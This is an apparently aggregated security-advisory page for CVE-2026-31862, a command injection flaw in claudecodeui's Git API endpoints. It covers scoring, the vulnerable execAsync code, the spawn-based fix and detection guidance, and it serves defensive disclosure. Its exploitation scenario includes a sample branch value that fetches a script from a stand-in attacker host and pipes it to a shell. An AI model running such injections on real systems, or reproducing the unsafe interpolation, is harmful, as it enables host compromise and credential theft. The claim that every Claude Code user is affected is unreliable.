CVE-2026-31862: claudecodeui: OS command injection in Git API endpoints

GHSA-f2fc-vc88-6w7qCRITICAL
Published March 11, 2026
CISO Take

claudecodeui (@siteboon/claude-code-ui, a web UI for Claude Code) builds shell commands from user-supplied file, branch, message and commit parameters in its Git API endpoints. An authenticated user can therefore run arbitrary OS commands as the Node.js process user, using command substitution or chaining that the partial quote escaping does not stop. The CVSS is 9.1 (critical), but it requires high privileges (PR:H). EPSS is low at 0.00454 (top 60%), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template. Even so, a compromised server holds source code, Git credentials and Claude/AI agent access, so a stolen or low-trust account becomes full host compromise. Upgrade to 1.24.0 or later, restrict network exposure of the UI to trusted users, and review access logs for shell metacharacters in /api/git/* requests.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

Critical severity (CVSS 9.1), but real-world likelihood is moderate to low. Exploitation needs valid credentials (PR:H), EPSS is 0.00454, the CVE is not in KEV, and there is no public exploit or scanner template. The attack is simple once authenticated, because the payload is a plain shell metacharacter string in a request parameter. The scope is changed (S:C): command execution on the host reaches repositories, secrets and other tools beyond the application. Exposure is highest where the UI is internet-facing or shared among multiple users or tenants. Package telemetry shows 0 downstream dependents and 26 other CVEs in the same package, which points to a weak security track record.

How does the attack unfold?

Initial Access
Attacker authenticates to the claudecodeui instance with valid or stolen credentials.
AML.T0012
Exploitation
Attacker sends a crafted file, branch, message or commit parameter containing shell metacharacters to a /api/git/* endpoint.
AML.T0049
Execution
The injected command runs through execAsync as the Node.js process user.
AML.T0050
Impact
Attacker steals credentials and source code and pushes malicious commits, enabling supply chain compromise.
AML.T0025

What systems are affected?

PackageEcosystemVulnerable RangePatched
Claude Codenpm<= 1.23.01.24.0
154.1KPushed 5d ago59% patched~12d to patchFull package profile →

Do you use Claude Code? You're affected.

How severe is it?

CVSS 3.1
9.1 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 40% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRHigh
UINone
SChanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade @siteboon/claude-code-ui to 1.24.0 or later, which replaces execAsync with spawn (shell:false) and adds a hex allowlist for commit hashes. 2) Until patched, remove internet exposure, place the UI behind a VPN or authenticating reverse proxy, and limit accounts to trusted users. 3) Run the service as a low-privilege user in a container with no access to SSH keys or cloud credentials, and rotate any secrets stored on hosts that ran vulnerable versions. 4) Detection: search web and application logs for requests to /api/git/* containing $(, backticks, ;, &&, ||, or newlines in file, branch, message or commit parameters, and alert on unexpected child processes spawned by the Node.js process. 5) Audit recent Git history in affected repos for unauthorized commits.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Responses to previously unknown risks and vulnerabilities
OWASP LLM Top 10
LLM05-Improper Output Handling / Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-31862?

claudecodeui (@siteboon/claude-code-ui, a web UI for Claude Code) builds shell commands from user-supplied file, branch, message and commit parameters in its Git API endpoints. An authenticated user can therefore run arbitrary OS commands as the Node.js process user, using command substitution or chaining that the partial quote escaping does not stop. The CVSS is 9.1 (critical), but it requires high privileges (PR:H). EPSS is low at 0.00454 (top 60%), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template. Even so, a compromised server holds source code, Git credentials and Claude/AI agent access, so a stolen or low-trust account becomes full host compromise. Upgrade to 1.24.0 or later, restrict network exposure of the UI to trusted users, and review access logs for shell metacharacters in /api/git/* requests.

Is CVE-2026-31862 actively exploited?

No confirmed active exploitation of CVE-2026-31862 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-31862?

1) Upgrade @siteboon/claude-code-ui to 1.24.0 or later, which replaces execAsync with spawn (shell:false) and adds a hex allowlist for commit hashes. 2) Until patched, remove internet exposure, place the UI behind a VPN or authenticating reverse proxy, and limit accounts to trusted users. 3) Run the service as a low-privilege user in a container with no access to SSH keys or cloud credentials, and rotate any secrets stored on hosts that ran vulnerable versions. 4) Detection: search web and application logs for requests to /api/git/* containing $(, backticks, ;, &&, ||, or newlines in file, branch, message or commit parameters, and alert on unexpected child processes spawned by the Node.js process. 5) Audit recent Git history in affected repos for unauthorized commits.

What systems are affected by CVE-2026-31862?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI coding assistants, developer tooling, CI/CD pipelines.

What is the CVSS score for CVE-2026-31862?

CVE-2026-31862 has a CVSS v3.1 base score of 9.1 (CRITICAL). The EPSS exploitation probability is 0.45%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI coding assistantsdeveloper toolingCI/CD pipelines

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application
AML.T0050Command and Scripting Interpreter
AML.T0083Credentials from AI Agent Configuration
AML.T0112.000Local AI Agent

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

### Summary Multiple Git-related API endpoints use execAsync() with string interpolation of user-controlled parameters (file, branch, message, commit), allowing authenticated attackers to execute arbitrary OS commands. ### Details The claudecodeui application provides Git integration through various API endpoints. These endpoints accept user-controlled parameters such as file paths, branch names, commit messages, and commit hashes, which are directly interpolated into shell command strings passed to execAsync(). The application attempts to escape double quotes in some parameters, but this protection is trivially bypassable using other shell metacharacters such as: Command substitution: $(command) or \`command\` Command chaining: ;, &&, || Newlines and other control characters ### Affected Endpoints `GET /api/git/diff - file parameter` `GET /api/git/status - file parameter` `POST /api/git/commit - files array and message parameter` `POST /api/git/checkout - branch parameter` `POST /api/git/create-branch - branch parameter` `GET /api/git/commits - commit hash parameter` `GET /api/git/commit-diff - commit parameter` ### Vulnerable Code File: server/routes/git.js ``` // Line 205 - git status with file parameter const { stdout: statusOutput } = await execAsync( `git status --porcelain "${file}"`, // INJECTION via file { cwd: projectPath } ); ``` ``` // Lines 375-379 - git commit with files array and message for (const file of files) { await execAsync(`git add "${file}"`, { cwd: projectPath }); // INJECTION via files[] } const { stdout } = await execAsync( `git commit -m "${message.replace(/"/g, '\\"')}"`, // INJECTION via message (bypass with $()) { cwd: projectPath } ); ``` ``` // Lines 541-543 - git show with commit parameter (no quotes!) const { stdout } = await execAsync( `git show ${commit}`, // INJECTION via commit { cwd: projectPath } ); ``` ### Impact - Remote Code Execution as the Node.js process user - Full server compromise - Data exfiltration - Supply chain attacks - modify committed code to inject malware --- ### Fix **Commit:** siteboon/claudecodeui@55567f4 #### Root cause remediation All vulnerable `execAsync()` calls have been replaced with the existing `spawnAsync()` helper (which uses `child_process.spawn` with `shell: false`). Arguments are passed as an array directly to the OS — shell metacharacters in user input are inert. **Endpoints patched in `server/routes/git.js`:** - `GET /api/git/diff` — `file` (4 calls) - `GET /api/git/file-with-diff` — `file` (3 calls) - `POST /api/git/commit` — `files[]`, `message` - `POST /api/git/checkout` — `branch` - `POST /api/git/create-branch` — `branch` - `GET /api/git/commits` — `commit.hash` - `GET /api/git/commit-diff` — `commit` - `POST /api/git/generate-commit-message` — `file` - `POST /api/git/discard` — `file` (3 calls) - `POST /api/git/delete-untracked` — `file` - `POST /api/git/publish` — `branch` A strict allowlist regex (`/^[0-9a-f]{4,64}$/i`) was also added to validate the `commit` parameter in `/api/git/commit-diff` before it reaches the git process. #### Before / After ```js // BEFORE — shell interprets the string, injection possible const { stdout } = await execAsync(`git show ${commit}`, { cwd: projectPath }); // AFTER — no shell, args passed directly to the process const { stdout } = await spawnAsync('git', ['show', commit], { cwd: projectPath }); ```

Exploitation Scenario

An attacker obtains valid credentials to a team's shared claudecodeui instance, for example through phishing or credential reuse. They send POST /api/git/checkout with a branch value such as 'x; curl attacker.example/s.sh | sh' or a commit message containing $(...). The server runs the injected command as the Node.js user. The attacker reads SSH keys, Git tokens and AI provider API keys from the environment, then pushes a backdoored commit to a connected repository to reach production through CI/CD.

Weaknesses (CWE)

CWE-77 — Improper Neutralization of Special Elements used in a Command: The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Implementation] If possible, ensure that all external commands called from the program are statically created.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
March 11, 2026
Last Modified
November 5, 2026
First Seen
November 5, 2026

Related Vulnerabilities